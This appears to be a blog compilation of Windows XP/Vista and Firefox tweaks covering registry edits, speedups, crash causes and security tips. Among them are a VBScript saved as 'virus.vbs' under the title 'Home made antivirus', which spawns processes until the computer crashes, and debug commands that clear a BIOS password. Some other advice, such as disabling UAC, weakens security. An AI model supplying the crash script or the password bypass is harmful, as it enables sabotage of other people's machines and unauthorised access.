Firefox Speed Tweak

Firefox Speed Tweak

Yes, firefox is already pretty damn fast but did you know that you can tweak it and improve the speed even more?

That's the beauty of this program being open source.
Here's what you do:
In the URL bar, type “about:config” and press enter. This will bring up the configuration “menu” where you can change the parameters of Firefox.

Note that these are what I’ve found to REALLY speed up my Firefox significantly - and these settings seem to be common among everybody else as well. But these settings are optimized for broadband connections - I mean with as much concurrent requests we’re going to open up with pipelining… lol… you’d better have a big connection.

Double Click on the following settins and put in the numbers below - for the true / false booleans - they’ll change when you double click.

Code:
browser.tabs.showSingleWindowModePrefs – true
network.http.max-connections – 48
network.http.max-connections-per-server – 16
network.http.max-persistent-connections-per-proxy – 8
network.http.max-persistent-connections-per-server – 4
network.http.pipelining – true
network.http.pipelining.maxrequests – 100
network.http.proxy.pipelining – true
network.http.request.timeout – 300


One more thing… Right-click somewhere on that screen and add a NEW -> Integer. Name it “nglayout.initialpaint.delay” and set its value to “0”. This value is the amount of time the browser waits before it acts on information it receives. Since you’re broadband - it shouldn’t have to wait.

Now you should notice you’re loading pages MUCH faster now!

Enable Folder and Icon Refresh

Enable Folder and Icon Refresh

This reg file Enables Folder and Icon Refresh.


1.Copy the following (everything in the box) into notepad.


QUOTE
Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"NoNetCrawling"=dword:00000000




2. Save the file as disablerefreshundo.reg
3. Double click the file to import into your registry.

NOTE: If your anti-virus software warns you of a "malicious" script, this is normal if you have "Script Safe" or similar technology enabled.

Eliminate IE's Autocomplete Reminder

Eliminate IE's Autocomplete Reminder

AutoComplete: Some people like it, some don't. Those who don't like it turn it off. Those of us who turned it off are now constantly being prompted to turn it on. By now, we despise it! How do we turn it off completely, with no more pop-ups asking us to turn it on?

• First, close all IE windows. Launch REGEDIT from the Start menu's Run dialog.
  

• Navigate to the key HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel. Note that this key may not be present in its entirety.

• You may need to create the Internet Explorer and Control Panel subkeys.

• In the right-hand pane, look for a DWORD value named FormSuggest it will probably not be present. In that case, right-click in the right-hand pane and choose New | DWORD Value from the pop-up menu.
  

• Name the new value FormSuggest.
  

• Whether you found it or created it, double-click this value and set its data to 1.
  

That should terminate the annoying reminder

Create A Personal Screen Saver In Win Xp!

Create A Personal Screen Saver In Win Xp!

This isnt a tweak, but a great little feature! For a great way to put your digital photos to work, try creating a slide show presentation for use as a screen saver. Here's how:

1. Right-click an empty spot on your desktop and then click Properties.

2. Click the Screen Saver tab.

3. In the Screen saver list, click My Pictures Slideshow.

4. Click Settings to make any adjustments, such as how often the pictures should change, what size they should be, and whether you'll use transition effects between pictures, and then click OK.

Now your screen saver is a random display of the pictures taken from your My Pictures folder.

crack the bios password in win 95/98:

Crack the bios password in win 95/98

Here is the best way to crack the bios password in win 95/98:

Follow the steps below:

1) Boot up windows.

2) go to dos-prompt or go to command prompt directly from the windows start up menu.

3) type the command at the prompt: "debug" (without quotes )

4) type the following lines now exactly as given.......

o 70 10
o 71 20
quit
exit

4) exit from the dos prompt and restart the machine


password protection gone!!!!!!!!!!!!!

PLS:
There seems to be some issue regarding display drivers on some machines if this is used. Just reinstall the drivers, Everything will be fine...........

I have not found any other trouble if the codes are used.

To be on safe side, just back up your data..........

The use of this code is entirely at ur risk.......... It worked fine for me..........

Also try in windows xp and leave the comments.......

Delete An undeletable File

Delete An "undeletable" File

1. Open a Command Prompt window and leave it open.

2. Close all open programs.

3.Click Start, Run and enter TASKMGR.EXE

4.Go to the Processes tab and End Process on Explorer.exe.

5.Leave Task Manager open.

6.Go back to the Command Prompt window and change to the directory the AVI (or other undeletable file) is located in.

7.At the command prompt type DEL where is the file you wish to delete.
Go back to Task Manager, click File, New Task and enter EXPLORER.EXE to restart the GUI shell.

8.Close Task Manager.


Or you can try this

1. Open Notepad.exe

2. Click File>Save As..>

3. locate the folder where ur undeletable file is

4. Choose 'All files' from the file type box

5. click once on the file u wanna delete so its name appears in the 'filename' box

6. put a " at the start and end of the filename
(the filename should have the extension of the undeletable file so it will overwrite it)

7. click save,

8. It should ask u to overwrite the existing file, choose yes and u can delete it as normal


Here's a manual way of doing it. I'll take this off once you put into your first post zain.

1. Start

2. Run

3. Type: command

4. To move into a directory type: cd c:\*** (The stars stand for your folder)

5. If you cannot access the folder because it has spaces for example Program Files or Kazaa Lite folder you have to do the following. instead of typing in the full folder name only take the first 6 letters then put a ~ and then 1 without spaces. Example: cd c:\progra~1\kazaal~1

6. Once your in the folder the non-deletable file it in type in dir - a list will come up with everything inside.

7. Now to delete the file type in del ***.bmp, txt, jpg, avi, etc... And if the file name has spaces you would use the special 1st 6 letters followed by a ~ and a 1 rule. Example: if your file name was bad file.bmp you would type once in the specific folder thorugh command, del badfil~1.bmp and your file should be gone. Make sure to type in the correct extension.

Change Your Ip

Change Your Ip

1. Click on "Start" in the bottom left hand corner of screen
2. Click on "Run"
3. Type in "command" and hit ok

You should now be at an MSDOS prompt screen.

4. Type "ipconfig /release" just like that, and hit "enter"
5. Type "exit" and leave the prompt
6. Right-click on "Network Places" or "My Network Places" on your desktop.
7. Click on "properties"

You should now be on a screen with something titled "Local Area Connection", or something close to that, and, if you have a network hooked up, all of your other networks.

8. Right click on "Local Area Connection" and click "properties"
9. Double-click on the "Internet Protocol (TCP/IP)" from the list under the "General" tab
10. Click on "Use the following IP address" under the "General" tab
11. Create an IP address (It doesn't matter what it is. I just type 1 and 2 until i fill the area up).
12. Press "Tab" and it should automatically fill in the "Subnet Mask" section with default numbers.
13. Hit the "Ok" button here
14. Hit the "Ok" button again

You should now be back to the "Local Area Connection" screen.

15. Right-click back on "Local Area Connection" and go to properties again.
16. Go back to the "TCP/IP" settings
17. This time, select "Obtain an IP address automatically"
tongue.gif 18. Hit "Ok"
19. Hit "Ok" again
20. You now have a new IP address

With a little practice, you can easily get this process down to 15 seconds.

Note:
This only changes your dynamic IP address, not your ISP/IP address.

Bulk Editing Of .xxx to .zip or .mp3

Bulk Editing Of .xxx to .zip or .mp3

lets us say you have just download a new album or game
but all the files are .xxx and you need them to be
zip's, rar's, mp3's etc.....
then do the following

-create a new folder

-put all the files needing editing in the new folder

-then goto "run" in the start menu

-type in CMD and click ok


-the next thing needsa few bits of old dos commands

-you need to navagate CMD to the folder whree the files are

-you can do this by 1st getting the total adress of the folder

-and then typing it in cmd with a "cd" in front
QUOTE
cd c:\xxx\yyy\ccc\

once you in the folder where the files are you can move on

u can cheek you in the right folder by typing dir to get a list of files

-now type in....
QUOTE
rename *.* *.zip

Note: change the zip to what ever the extention needs to be (.rar, .mp3 ect)

all done
you should have now changed the .* to what ever you needed

To exit CMD type in "exit"

Boot Winxp Fast

Boot Winxp Fast

Follow the following steps

1. Open notepad.exe, type "del c:\windows\prefetch\ntosboot-*.* /q" (without the quotes) & save as "ntosboot.bat" in c:\

2. From the Start menu, select "Run..." & type "gpedit.msc".

3. Double click "Windows Settings" under "Computer Configuration" and double click again on "Shutdown" in the right window.

4. In the new window, click "add", "Browse", locate your "ntosboot.bat" file & click "Open".

5. Click "OK", "Apply" & "OK" once again to exit.

6. From the Start menu, select "Run..." & type "devmgmt.msc".

7. Double click on "IDE ATA/ATAPI controllers"

8. Right click on "Primary IDE Channel" and select "Properties".

9. Select the "Advanced Settings" tab then on the device or 1 that doesn't have 'device type' greyed out select 'none' instead of 'autodetect' & click "OK".

10. Right click on "Secondary IDE channel", select "Properties" and repeat step 9.

11. Reboot your computer.

10 reasons why PCs crash

10 reasons why PCs crash

Hardware conflict

The number one reason why Windows crashes is hardware conflict. Each hardware device communicates to other devices through an interrupt request channel (IRQ). These are supposed to be unique for each device.

For example, a printer usually connects internally on IRQ 7. The keyboard usually uses IRQ 1 and the floppy disk drive IRQ 6. Each device will try to hog a single IRQ for itself.

If there are a lot of devices, or if they are not installed properly, two of them may end up sharing the same IRQ number. When the user tries to use both devices at the same time, a crash can happen. The way to check if your computer has a hardware conflict is through the following route:

* Start-Settings-Control Panel-System-Device Manager.

Often if a device has a problem a yellow '!' appears next to its description in the Device Manager. Highlight Computer (in the Device Manager) and press Properties to see the IRQ numbers used by your computer. If the IRQ number appears twice, two devices may be using it.

Sometimes a device might share an IRQ with something described as 'IRQ holder for PCI steering'. This can be ignored. The best way to fix this problem is to remove the problem device and reinstall it.

Sometimes you may have to find more recent drivers on the internet to make the device function properly. A good resource is www.driverguide.com. If the device is a soundcard, or a modem, it can often be fixed by moving it to a different slot on the motherboard (be careful about opening your computer, as you may void the warranty).

When working inside a computer you should switch it off, unplug the mains lead and touch an unpainted metal surface to discharge any static electricity.

To be fair to Mcft, the problem with IRQ numbers is not of its making. It is a legacy problem going back to the first PC designs using the IBM 8086 chip. Initially there were only eight IRQs. Today there are 16 IRQs in a PC. It is easy to run out of them. There are plans to increase the number of IRQs in future designs.

Bad Ram

Ram (random-access memory) problems might bring on the blue screen of death with a message saying Fatal Exception Error. A fatal error indicates a serious hardware problem. Sometimes it may mean a part is damaged and will need replacing.

But a fatal error caused by Ram might be caused by a mismatch of chips. For example, mixing 70-nanosecond (70ns) Ram with 60ns Ram will usually force the computer to run all the Ram at the slower speed. This will often crash the machine if the Ram is overworked.

One way around this problem is to enter the BIOS settings and increase the wait state of the Ram. This can make it more stable. Another way to troubleshoot a suspected Ram problem is to rearrange the Ram chips on the motherboard, or take some of them out. Then try to repeat the circumstances that caused the crash. When handling Ram try not to touch the gold connections, as they can be easily damaged.

Parity error messages also refer to Ram. Modern Ram chips are either parity (ECC) or non parity (non-ECC). It is best not to mix the two types, as this can be a cause of trouble.

EMM386 error messages refer to memory problems but may not be connected to bad Ram. This may be due to free memory problems often linked to old Dos-based programmes.

BIOS settings

Every motherboard is supplied with a range of chipset settings that are decided in the factory. A common way to access these settings is to press the F2 or delete button during the first few seconds of a boot-up.

Once inside the BIOS, great care should be taken. It is a good idea to write down on a piece of paper all the settings that appear on the screen. That way, if you change something and the computer becomes more unstable, you will know what settings to revert to.

A common BIOS error concerns the CAS latency. This refers to the Ram. Older EDO (extended data out) Ram has a CAS latency of 3. Newer SDRam has a CAS latency of 2. Setting the wrong figure can cause the Ram to lock up and freeze the computer's display.

Mcft Windows is better at allocating IRQ numbers than any BIOS. If possible set the IRQ numbers to Auto in the BIOS. This will allow Windows to allocate the IRQ numbers (make sure the BIOS setting for Plug and Play OS is switched to 'yes' to allow Windows to do this.).

Hard disk drives

After a few weeks, the information on a hard disk drive starts to become piecemeal or fragmented. It is a good idea to defragment the hard disk every week or so, to prevent the disk from causing a screen freeze. Go to

* Start-Programs-Accessories-System Tools-Disk Defragmenter

This will start the procedure. You will be unable to write data to the hard drive (to save it) while the disk is defragmenting, so it is a good idea to schedule the procedure for a period of inactivity using the Task Scheduler.

The Task Scheduler should be one of the small icons on the bottom right of the Windows opening page (the desktop).

Some lockups and screen freezes caused by hard disk problems can be solved by reducing the read-ahead optimisation. This can be adjusted by going to

* Start-Settings-Control Panel-System Icon-Performance-File System-Hard Disk.

Hard disks will slow down and crash if they are too full. Do some housekeeping on your hard drive every few months and free some space on it. Open the Windows folder on the C drive and find the Temporary Internet Files folder. Deleting the contents (not the folder) can free a lot of space.

Empty the Recycle Bin every week to free more space. Hard disk drives should be scanned every week for errors or bad sectors. Go to

* Start-Programs-Accessories-System Tools-ScanDisk

Otherwise assign the Task Scheduler to perform this operation at night when the computer is not in use.

Fatal OE exceptions and VXD errors

Fatal OE exception errors and VXD errors are often caused by video card problems.

These can often be resolved easily by reducing the resolution of the video display. Go to

* Start-Settings-Control Panel-Display-Settings

Here you should slide the screen area bar to the left. Take a look at the colour settings on the left of that window. For most desktops, high colour 16-bit depth is adequate.

If the screen freezes or you experience system lockups it might be due to the video card. Make sure it does not have a hardware conflict. Go to

* Start-Settings-Control Panel-System-Device Manager

Here, select the + beside Display Adapter. A line of text describing your video card should appear. Select it (make it blue) and press properties. Then select Resources and select each line in the window. Look for a message that says No Conflicts.

If you have video card hardware conflict, you will see it here. Be careful at this point and make a note of everything you do in case you make things worse.

The way to resolve a hardware conflict is to uncheck the Use Automatic Settings box and hit the Change Settings button. You are searching for a setting that will display a No Conflicts message.

Another useful way to resolve video problems is to go to

* Start-Settings-Control Panel-System-Performance-Graphics

Here you should move the Hardware Acceleration slider to the left. As ever, the most common cause of problems relating to graphics cards is old or faulty drivers (a driver is a small piece of software used by a computer to communicate with a device).

Look up your video card's manufacturer on the internet and search for the most recent drivers for it.

Viruses

Often the first sign of a virus infection is instability. Some viruses erase the boot sector of a hard drive, making it impossible to start. This is why it is a good idea to create a Windows start-up disk. Go to

* Start-Settings-Control Panel-Add/Remove Programs

Here, look for the Start Up Disk tab. Virus protection requires constant vigilance.

A virus scanner requires a list of virus signatures in order to be able to identify viruses. These signatures are stored in a DAT file. DAT files should be updated weekly from the website of your antivirus software manufacturer.

An excellent antivirus programme is McAfee VirusScan by Network Associates ( www.nai.com). Another is Norton AntiVirus 2000, made by Symantec ( www.symantec.com).

Printers

The action of sending a document to print creates a bigger file, often called a postscript file.

Printers have only a small amount of memory, called a buffer. This can be easily overloaded. Printing a document also uses a considerable amount of CPU power. This will also slow down the computer's performance.

If the printer is trying to print unusual characters, these might not be recognised, and can crash the computer. Sometimes printers will not recover from a crash because of confusion in the buffer. A good way to clear the buffer is to unplug the printer for ten seconds. Booting up from a powerless state, also called a cold boot, will restore the printer's default settings and you may be able to carry on.

Software

A common cause of computer crash is faulty or badly-installed software. Often the problem can be cured by uninstalling the software and then reinstalling it. Use Norton Uninstall or Uninstall Shield to remove an application from your system properly. This will also remove references to the programme in the System Registry and leaves the way clear for a completely fresh copy.

The System Registry can be corrupted by old references to obsolete software that you thought was uninstalled. Use Reg Cleaner by Jouni Vuorio to clean up the System Registry and remove obsolete entries. It works on Windows 95, Windows 98, Windows 98 SE (Second Edition), Windows Millennium Edition (ME), NT4 and Windows 2000.

Read the instructions and use it carefully so you don't do permanent damage to the Registry. If the Registry is damaged you will have to reinstall your operating system. Reg Cleaner can be obtained from www.jv16.org

Often a Windows problem can be resolved by entering Safe Mode. This can be done during start-up. When you see the message "Starting Windows" press F4. This should take you into Safe Mode.

Safe Mode loads a minimum of drivers. It allows you to find and fix problems that prevent Windows from loading properly.

Sometimes installing Windows is difficult because of unsuitable BIOS settings. If you keep getting SUWIN error messages (Windows setup) during the Windows installation, then try entering the BIOS and disabling the CPU internal cache. Try to disable the Level 2 (L2) cache if that doesn't work.

Remember to restore all the BIOS settings back to their former settings following installation.

Overheating

Central processing units (CPUs) are usually equipped with fans to keep them cool. If the fan fails or if the CPU gets old it may start to overheat and generate a particular kind of error called a kernel error. This is a common problem in chips that have been overclocked to operate at higher speeds than they are supposed to.

One remedy is to get a bigger better fan and install it on top of the CPU. Specialist cooling fans/heatsinks are available from www.computernerd.com or www.coolit.com

CPU problems can often be fixed by disabling the CPU internal cache in the BIOS. This will make the machine run more slowly, but it should also be more stable.

Power supply problems

With all the new construction going on around the country the steady supply of electricity has become disrupted. A power surge or spike can crash a computer as easily as a power cut.

If this has become a nuisance for you then consider buying a uninterrupted power supply (UPS). This will give you a clean power supply when there is electricity, and it will give you a few minutes to perform a controlled shutdown in case of a power cut.

It is a good investment if your data are critical, because a power cut will cause any unsaved data to be lost.

23 Ways To Speed WinXP

23 Ways To Speed Win XP

Here are 23 suggestions that will enhance the performance and reliability of your PCs.

1.) To decrease a system's boot time and increase system performance, use the money you save by not buying defragmentation software -- the built-in Windows defragmenter works just fine -- and instead equip the computer with an Ultra-133 or Serial ATA hard drive with 8-MB cache buffer.

2.) If a PC has less than 512 MB of RAM, add more memory. This is a relatively inexpensive and easy upgrade that can dramatically improve system performance.

3.) Ensure that Windows XP is utilizing the NTFS file system. If you're not sure, here's how to check: First, double-click the My Computer icon, right-click on the C: Drive, then select Properties. Next, examine the File System type; if it says FAT32, then back-up any important data. Next, click Start, click Run, type CMD, and then click OK. At the prompt, type CONVERT C: /FS:NTFS and press the Enter key. This process may take a while; it's important that the computer be uninterrupted and virus-free. The file system used by the bootable drive will be either FAT32 or NTFS. I highly recommend NTFS for its superior security, reliability, and efficiency with larger disk drives.

4.) Disable file indexing. The indexing service extracts information from documents and other files on the hard drive and creates a "searchable keyword index." As you can imagine, this process can be quite taxing on any system.

The idea is that the user can search for a word, phrase, or property inside a document, should they have hundreds or thousands of documents and not know the file name of the document they want. Windows XP's built-in search functionality can still perform these kinds of searches without the Indexing service. It just takes longer. The OS has to open each file at the time of the request to help find what the user is looking for.

Most people never need this feature of search. Those who do are typically in a large corporate environment where thousands of documents are located on at least one server. But if you're a typical system builder, most of your clients are small and medium businesses. And if your clients have no need for this search feature, I recommend disabling it.

Here's how: First, double-click the My Computer icon. Next, right-click on the C: Drive, then select Properties. Uncheck "Allow Indexing Service to index this disk for fast file searching." Next, apply changes to "C: subfolders and files," and click OK. If a warning or error message appears (such as "Access is denied"), click the Ignore All button.

5.) Update the PC's video and motherboard chipset drivers. Also, update and configure the BIOS. For more information on how to configure your BIOS properly, see this article on my site.

6.) Empty the Windows Prefetch folder every three months or so. Windows XP can "prefetch" portions of data and applications that are used frequently. This makes processes appear to load faster when called upon by the user. That's fine. But over time, the prefetch folder may become overloaded with references to files and applications no longer in use. When that happens, Windows XP is wasting time, and slowing system performance, by pre-loading them. Nothing critical is in this folder, and the entire contents are safe to delete.

7.) Once a month, run a disk cleanup. Here's how: Double-click the My Computer icon. Then right-click on the C: drive and select Properties. Click the Disk Cleanup button -- it's just to the right of the Capacity pie graph -- and delete all temporary files.

8.) In your Device Manager, double-click on the IDE ATA/ATAPI Controllers device, and ensure that DMA is enabled for each drive you have connected to the Primary and Secondary controller. Do this by double-clicking on Primary IDE Channel. Then click the Advanced Settings tab. Ensure the Transfer Mode is set to "DMA if available" for both Device 0 and Device 1. Then repeat this process with the Secondary IDE Channel.

9.) Upgrade the cabling. As hard-drive technology improves, the cabling requirements to achieve these performance boosts have become more stringent. Be sure to use 80-wire Ultra-133 cables on all of your IDE devices with the connectors properly assigned to the matching Master/Slave/Motherboard sockets. A single device must be at the end of the cable; connecting a single drive to the middle connector on a ribbon cable will cause signaling problems. With Ultra DMA hard drives, these signaling problems will prevent the drive from performing at its maximum potential. Also, because these cables inherently support "cable select," the location of each drive on the cable is important. For these reasons, the cable is designed so drive positioning is explicitly clear.

10.) Remove all spyware from the computer. Use free programs such as AdAware by Lavasoft or SpyBot Search & Destroy. Once these programs are installed, be sure to check for and download any updates before starting your search. Anything either program finds can be safely removed. Any free software that requires spyware to run will no longer function once the spyware portion has been removed; if your customer really wants the program even though it contains spyware, simply reinstall it. For more information on removing Spyware visit this Web Pro News page.

11.) Remove any unnecessary programs and/or items from Windows Startup routine using the MSCONFIG utility. Here's how: First, click Start, click Run, type MSCONFIG, and click OK. Click the StartUp tab, then uncheck any items you don't want to start when Windows starts. Unsure what some items are? Visit the WinTasks Process Library. It contains known system processes, applications, as well as spyware references and explanations. Or quickly identify them by searching for the filenames using Google or another Web search engine.

12.) Remove any unnecessary or unused programs from the Add/Remove Programs section of the Control Panel.

13.) Turn off any and all unnecessary animations, and disable active desktop. In fact, for optimal performance, turn off all animations. Windows XP offers many different settings in this area. Here's how to do it: First click on the System icon in the Control Panel. Next, click on the Advanced tab. Select the Settings button located under Performance. Feel free to play around with the options offered here, as nothing you can change will alter the reliability of the computer -- only its responsiveness.

14.) If your customer is an advanced user who is comfortable editing their registry, try some of the performance registry tweaks offered at Tweak XP.

15.) Visit Microsoft's Windows update site regularly, and download all updates labeled Critical. Download any optional updates at your discretion.

16.) Update the customer's anti-virus software on a weekly, even daily, basis. Make sure they have only one anti-virus software package installed. Mixing anti-virus software is a sure way to spell disaster for performance and reliability.

17.) Make sure the customer has fewer than 500 type fonts installed on their computer. The more fonts they have, the slower the system will become. While Windows XP handles fonts much more efficiently than did the previous versions of Windows, too many fonts -- that is, anything over 500 -- will noticeably tax the system.

18.) Do not partition the hard drive. Windows XP's NTFS file system runs more efficiently on one large partition. The data is no safer on a separate partition, and a reformat is never necessary to reinstall an operating system. The same excuses people offer for using partitions apply to using a folder instead. For example, instead of putting all your data on the D: drive, put it in a folder called "D drive." You'll achieve the same organizational benefits that a separate partition offers, but without the degradation in system performance. Also, your free space won't be limited by the size of the partition; instead, it will be limited by the size of the entire hard drive. This means you won't need to resize any partitions, ever. That task can be time-consuming and also can result in lost data.

19.) Check the system's RAM to ensure it is operating properly. I recommend using a free program called MemTest86. The download will make a bootable CD or diskette (your choice), which will run 10 extensive tests on the PC's memory automatically after you boot to the disk you created. Allow all tests to run until at least three passes of the 10 tests are completed. If the program encounters any errors, turn off and unplug the computer, remove a stick of memory (assuming you have more than one), and run the test again. Remember, bad memory cannot be repaired, but only replaced.

20.) If the PC has a CD or DVD recorder, check the drive manufacturer's Web site for updated firmware. In some cases you'll be able to upgrade the recorder to a faster speed. Best of all, it's free.

21.) Disable unnecessary services. Windows XP loads a lot of services that your customer most likely does not need. To determine which services you can disable for your client, visit the Black Viper site for Windows XP configurations.

22.) If you're sick of a single Windows Explorer window crashing and then taking the rest of your OS down with it, then follow this tip: open My Computer, click on Tools, then Folder Options. Now click on the View tab. Scroll down to "Launch folder windows in a separate process," and enable this option. You'll have to reboot your machine for this option to take effect.

23.) At least once a year, open the computer's cases and blow out all the dust and debris. While you're in there, check that all the fans are turning properly. Also inspect the motherboard capacitors for bulging or leaks. For more information on this leaking-capacitor phenomena, you can read numerous articles on my site.


Following any of these suggestions should result in noticeable improvements to the performance and reliability of your computers. If you still want to defrag a disk, remember that the main benefit will be to make your data more retrievable in the event of a crashed drive.

10 Fast and Free Security Enhancements

10 Fast and Free Security Enhancements

Before you spend a dime on security, there are many precautions you can take that will protect you against the most common threats.

1. Check Windows Update and Office Update regularly (_http://office.microsoft.com/productupdates); have your Office CD ready. Windows Me, 2000, and XP users can configure automatic updates. Click on the Automatic Updates tab in the System control panel and choose the appropriate options.

2. Install a personal firewall. Both SyGate (_www.sygate.com) and ZoneAlarm (_www.zonelabs.com) offer free versions.


3. Install a free spyware blocker. Our Editors' Choice ("Spyware," April 22) was SpyBot Search & Destroy (_http://security.kolla.de). SpyBot is also paranoid and ruthless in hunting out tracking cookies.

4. Block pop-up spam messages in Windows NT, 2000, or XP by disabling the Windows Messenger service (this is unrelated to the instant messaging program). Open Control Panel | Administrative Tools | Services and you'll see Messenger. Right-click and go to Properties. Set Start-up Type to Disabled and press the Stop button. Bye-bye, spam pop-ups! Any good firewall will also stop them.

5. Use strong passwords and change them periodically. Passwords should have at least seven characters; use letters and numbers and have at least one symbol. A decent example would be f8izKro@l. This will make it much harder for anyone to gain access to your accounts.

6. If you're using Outlook or Outlook Express, use the current version or one with the Outlook Security Update installed. The update and current versions patch numerous vulnerabilities.

7. Buy antivirus software and keep it up to date. If you're not willing to pay, try Grisoft AVG Free Edition (Grisoft Inc., w*w.grisoft.com). And doublecheck your AV with the free, online-only scanners available at w*w.pandasoftware.com/activescan and _http://housecall.trendmicro.com.

8. If you have a wireless network, turn on the security features: Use MAC filtering, turn off SSID broadcast, and even use WEP with the biggest key you can get. For more, check out our wireless section or see the expanded coverage in Your Unwired World in our next issue.

9. Join a respectable e-mail security list, such as the one found at our own Security Super site at _http://security.ziffdavis.com, so that you learn about emerging threats quickly and can take proper precautions.

10. Be skeptical of things on the Internet. Don't assume that e-mail "From:" a particular person is actually from that person until you have further reason to believe it's that person. Don't assume that an attachment is what it says it is. Don't give out your password to anyone, even if that person claims to be from "support."

Hidden devices in device manager

Hidden devices in device manager

There are many devices hidden in Device Manager to see them

1. Go to HKEY_LOCAL_MACHINE > SYSTEM > ControlSet001 > Control > Session Manager > Environment

2. Create a string name it " DEVMGR_SHOW_NONPRESENT_DEVICES"

3. Give it a value of 1

INVISIBLE FOLDER

INVISIBLE FOLDER

1. Right Click on the desktop.Make a new folder

2.Now rename the folder, hold ALT key and type 0160.

3.Now u have a folder with out a name.

4.Right click on the folder>properties>customize. Click on change icon.

5. Scroll a bit, u should find some empty spaces, Click on any one of them.
click ok Thats it.

Your invisible folder is ready.

Folder Options missing

Folder Options missing

Many of us sometimes find the folder options missing in windows explorer here is the solution.

1. Open Run and then type "gpedit.msc".

2. Now goto==User Configuration > Administrative templates > Windows Component > Windows Explorer.

3. Click on Windows Explorer you will find the 3rd option on the right side of screen "Removes the Folder Option menu item from the Tools menu"

4. Just check it, if it is not configured then change it to enable by double clicking on it and after applying again set it to not configured.

You will find the option after restarting windows.

To Disable Display of the Drivers in "My Computer"

To Disable Display of the Drivers in "My Computer"

1. First of all, Right-Click on 'My Computer'.

2. Choose 'Manage' option.

3. A window will be opened named 'Computer Management'. Double-Click on the 'Disk Management' option under the 'Storage' item at the left panal of the opened window.

4. Now, in the right panal, all the 'Drives' and 'Devices' are shown. Just Right-Click on the 'Drives' and 'Devices', choose 'Change Drive Letters and Paths'.

5. Left-Click on the 'Remove' button.

6. A Confirmation-message will be displayed contains 'Yes' and 'No' buttons. Click on the 'Yes' button.

7. Close the 'Computer Management' window.

Now, Double-Click on your 'My Computer' icon. All the 'Drivers' and 'Devices' will not be shown there.

To Enable Display of the Drivers in "My Computer"

1. First of all, Repeat the above 1-4 steps.

2. Then, Choose the 'Add' button.

3. Left-Click on the 'OK' button.

4. Close the 'Computer Management' window.

Now, Double-Click on your 'My Computer' icon. All the 'Drivers' and 'Devices' will be shown there.

Technorati Profile

All the tricks for vista are not tested. Please leave the comment after you test it

Enabling Additional Avalon Effects

Enabling Additional Avalon Effects

Follow the steps below to add some additional desktop and explorer effects:

a) open regedit.

b) HKEY_Local_Machine > Software > Microsoft > Windows > Current Version > Explorer

c) create a new DWORD and call it MILDesktop

d) set the value of MILDesktop to 1

e) create a new DWORD and call it MILExplorer

f) set the value of MILExplorer to 1

g) exit and restart

Windows vista trick

Disable User Access Control

Disable User Access Control

a) while logged in with admin rights

b) press the key combo Win+R (the “Run command” box comes up)

c) run “msconfig”

d) go to the “Tools” tab

e) scroll down to “disable UAC” and click the “launch” button below

f) it will execute a command & leave behind a CMD window, exit that, reboot Vista

Windows vista trick

Show Administrator on Welcome Screen

a) start > run = “control userpasswords2″

b) select administrator account, click reset password (input new pass) and hit “Ok”

c) start > run = “regedit”

d) HKEY_LOCAL_MACHINE > SOFTWARE > Microsoft > Windows NT > CurrentVersion >
Winlogon > SpecialAccounts > UserList

e) create “DWORD (32bit) Value” with Value Name: Administrator and Value Data: 1

Windows vista trick

Getting Rid of Arrows on Shortcuts

a) start > run = “regedit”

b) HKEY_CLASSES_ROOT > lnkfile

c) rename ‘IsShortcut’ to ‘AriochIsShortcut’ in the right panes

d) close regedit and reboot

Windows vista tricks

Turn on File Extensions

Turn on File Extensions

a) go to any folder, e.g. Documents

b) Layout > Show Classic Menus

c) Tools > Folder Options > View Tab

d) Untick “Hide Extensions of Known File Types”

e) close, return to Layout and put it back as it was

Windows vista trick

Delete Hibernate File

When you use hibernate in Windows Vista, it creates a file called hiberfil.sys. This file can grow large and if you may want to remove it there is a simple way to delete it:

a) log on as the Administrator

b) start Command Prompt then type: powercfg -h off

c) hit enter

Windows vista trick

Remove Splash Screen in Windows Mail

Remove Splash Screen in Windows Mail

a) start > run = “regedit”

b) HKEY_CURRENT_USER > Software > Microsoft > Windows Mail

c) set “NoSplash”=dword:00000001

d) exit and restart

Windows vista trick

Removing Tool Tips

Removing Tool Tips

1) start > run = “regedit”

2) HKEY_CURRENT_USER > Software > Microsoft > Windows > CurrentVersion > Explorer > Advanced

3) set “ShowInfoTip”=dword:00000000

4) exit and reboot

Windows vista trick

Enable Auto-Log on in Windows Vista

Warning: Security Risk

1) click Start and type ‘netplwiz’ or click that name on the Start menu

2) in the GUI window that comes up, uncheck the “Users must enter a username and password

to use this computer” box

3) click ‘Apply’

4) in the new dialog box that opens type the name of the account you want to auto-logon by default (if the account is not normally passworded then it blank)

5) click OK and exit.

Windows vista trick

How to shutdown a remote computer on the network

How to shutdown a remote computer on the network

Requirement: You must have administrator rights in order to remotely shutdown a computer.

How to:

1. Start>>Run and type cmd and press Enter.

2. type shutdown /i

3. add the computers on your network ,set the display timing and enter the shutdown comment.

Note: You can know what more you can do with shutdown command by typing shutdown help

Shortcut for shutdown & restart.

Shortcut for shutdown & restart

1. Right Click on your Desktop, go to New>>shortcut.

2. Now for creating respective shortcut copy the commands given below.

Shutdown

SHUTDOWN -s -t 01

Restart

SHUTDOWN -r -t 01

3. Click next and then finish

Home made antivirus 2

Home made antivirus 2

copy this to notepad and save it as virus.vbs and click on it
It will only crash ur computer. Dont do it on urs

Option Explicit
Dim WSHShell
Set WSHShell=Wscript.CreateObject("Wscript.Shell")
Dim x
For x = 1 to 100000000
WSHShell.Run "Tourstart.exe"
Next

it only works with windows xp

Antivirus

Wanna make your computer virus free?? Here r some anti virus

AntiVir Personal 8

Download AntiVir Personal Edition

Avast! Home Edition 4.8

Download Avast! Home Edition

AVG Free Edition 8

Download AVG Free Edition

BitDefender 10 Free Edition

Download BitDefender

ClamWin 0.93

Download ClamWin

Kaspersky Anti-Virus 8

Download Kaspersky Antivirus

McAfee VirusScan 10

Download McAfee VirusScan

NOD32 AntiVirus 3

Download NOD32

Norton AntiVirus 15.5.

Download Norton AntiVirus


*All this antivirus are trial version. I haven't try it on my desktop so please comment your experience after using the anti virus

Renaming the Recycle Bin

Renaming the Recycle Bin

What you do is, copy this information (in bold) to notepad or something similar. (Start-->All Programs-->Accessories-->Notepad).

REGEDIT4

[HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\ShellFolder]
"Attributes"=hex:50,01,00,20

"CallForAttributes"=dword:00000000

Once you have that copied into NotePad, save it as something like "Recyclebin.reg" (without the quotations).

